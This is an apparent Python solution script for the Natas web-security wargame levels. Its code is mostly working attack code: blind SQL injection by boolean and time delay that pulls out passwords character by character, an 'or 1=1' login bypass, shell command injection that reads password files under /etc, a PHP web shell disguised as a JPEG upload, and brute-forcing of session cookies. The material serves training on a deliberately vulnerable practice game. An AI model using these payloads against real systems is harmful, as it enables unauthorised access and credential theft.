def natas15():
username = "******"
password = "******"
s = ascii_letters + digits
chars = ""
for i in s:
print(f"TESTING:{i}")
data = {"username": f"natas16\" and password like BINARY \"%{i}%"}
while 1:
try:
content = post_page(15,
username,
password,
data,
url_appending="?debug")
break
except:
print("Fail to connect, wait 5 seconds and retrying...")
sleep(5)
if "This user exists" in content:
chars += i
print(f"FIND:{chars}")
sleep(1)
print(chars)
pw = ""
for k in range(32):
print(k)
for i in chars:
print(f"TESTING:{i}")
p = pw + i
data = {"username": f"natas16\" and password like BINARY \"{p}%"}
while 1:
try:
content = post_page(15,
username,
password,
data,
url_appending="?debug")
break
except:
print("Fail to connect, wait 5 seconds and retrying...")
sleep(5)
if "This user exists" in content:
pw += i
print(f"FIND:{pw}")
break
sleep(1)
print(pw)
def natas27():
username = "******"
password = "******"
data = {"username": "******" + " " * 57 + "lol", "password": "******"}
post_page(27, username, password, data=data)
data = {"username": "******", "password": "******"}
content = post_page(27, username, password, data=data)
password = re.search(r"(?<=> )\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas16():
username = "******"
password = "******"
s = ascii_letters + digits
chars = ""
for i in s:
data = {"needle": f"doctors$(grep {i} /etc/natas_webpass/natas17)"}
while 1:
try:
content = post_page(16, username, password, data)
break
except:
print("Fail to connect, wait 5 seconds and retrying...")
sleep(5)
if "doctors" not in content:
chars += i
print(chars)
sleep(1)
# print(chars)
# chars = "bcdghkmnqrswAGHNPQSW035789"
pw = ""
for k in range(32):
print(k)
for i in chars:
print(f"TESTING:{i}")
p = pw + i
data = {
"needle": f"doctors$(grep ^{p} /etc/natas_webpass/natas17)"
}
while 1:
try:
content = post_page(16, username, password, data)
break
except:
print("Fail to connect, wait 5 seconds and retrying...")
sleep(5)
if "doctors" not in content:
pw += i
print(f"FIND:{pw}")
break
sleep(1)
print(pw)
def natas10():
username = "******"
password = "******"
data = {"needle": ".* /etc/natas_webpass/natas11", "submit": "Search"}
content = post_page(10, username, password, data=data)
password = re.search(r"(?<=natas11:)\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas9():
username = "******"
password = "******"
data = {"needle": ";cat /etc/natas_webpass/natas10;", "submit": "Search"}
content = post_page(9, username, password, data=data)
password = re.search(r"(?<=<pre>\n)\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas23():
username = "******"
password = "******"
data = {"passwd": "11iloveyou"}
content = post_page(23, username, password, data=data)
password = re.search(r"(?<=Password: )\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas14():
username = "******"
password = "******"
data={"username":"******" or \"1\"=\"1", "password":"******" or \"1\"=\"1"}
content = post_page(14, username, password, data)
password = re.search(r"(?<=The password for natas15 is )\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas13():
username = "******"
password = "******"
_content = b'\xFF\xD8\xFF\xE0<? echo passthru("cat /etc/natas_webpass/natas14"); ?>'
data = {"MAX_FILE_SIZE":1000, "filename":"evil.php"}
files = {"uploadedfile":("natas13.php", _content)}
content = post_page(13, username, password, data=data, files=files)
upload_path = re.findall(r"(upload/\S{10}.php)", content)
if not upload_path:
print("Fail to find password")
return
else:
upload_path = upload_path[0]
password_content = get_page(13, username, password, "/"+upload_path, byte=True)
print(password_content[4:].decode())
def natas6():
username = "******"
password = "******"
secret_content = get_page(6, username, password, "/includes/secret.inc")
secret = re.search(r"(?<=secret = \")\w+", secret_content)
if secret is None:
print("Fail to find password")
return
secret = secret.group(0)
data = {"secret": secret, "submit": "Submit"}
content = post_page(6, username, password, data=data)
password = re.search(r"(?<=The password for natas7 is )\w+", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas8():
username = "******"
password = "******"
stdout, stderr = Popen("php natas08.php",
shell=True,
stdout=PIPE,
stderr=PIPE).communicate()
if stderr:
print("Fail to find password")
return
secret = stdout.decode("utf-8")
data = {"secret": secret, "submit": "Submit"}
content = post_page(8, username, password, data=data)
password = re.search(r"(?<=natas9 is )\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
def natas18():
username = "******"
password = "******"
for i in range(1, 641):
print(i)
cookies = {"PHPSESSID":str(i)}
data = {"username":"******", "password":"******"}
content = post_page(18, username, password, url_appending="?debug", data=data, cookies=cookies)
if "You are an admin" in content:
print(content)
password = re.search(r"(?<=natas19 Password: )\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
return
sleep(1)
def natas19():
username = "******"
password = "******"
for i in range(1, 641):
print(i)
idx = "".join([hex(ord(k))[2:] for k in str(i)])
cookies = {"PHPSESSID": idx + "2d61646d696e"}
data = {"username": "******", "password": "******"}
content = post_page(19,
username,
password,
url_appending="?debug",
data=data,
cookies=cookies)
if "You are an admin" in content:
print(content)
password = re.search(r"(?<=natas19 Password: )\w{32}", content)
if password is None:
print("Fail to find password")
return
print(password.group(0))
return
sleep(1)
def natas17():
username = "******"
password = "******"
s = ascii_letters + digits
chars = ""
for i in s:
print(f"TESTING:{i}")
data = {
"username":
f"natas18\" and password like BINARY \"%{i}%\" and sleep(5) and \"1\"=\"1"
}
while 1:
try:
response_time, content = post_page(17,
username,
password,
data,
response_time=True)
break
except:
print("Fail to connect, wait 5 seconds and retrying...")
sleep(5)
if response_time > 5:
chars += i
print(f"FIND:{chars}")
sleep(1)
print(chars)
pw = ""
for k in range(32):
print(k)
for i in chars:
print(f"TESTING:{i}")
p = pw + i
data = {
"username":
f"natas18\" and password like BINARY \"{p}%\" and sleep(5) and \"1\"=\"1"
}
while 1:
try:
response_time, content = post_page(17,
username,
password,
data,
response_time=True)
break
except:
print("Fail to connect, wait 5 seconds and retrying...")
sleep(5)
if response_time > 5:
pw += i
print(f"FIND:{pw}")
break
sleep(1)
print(pw)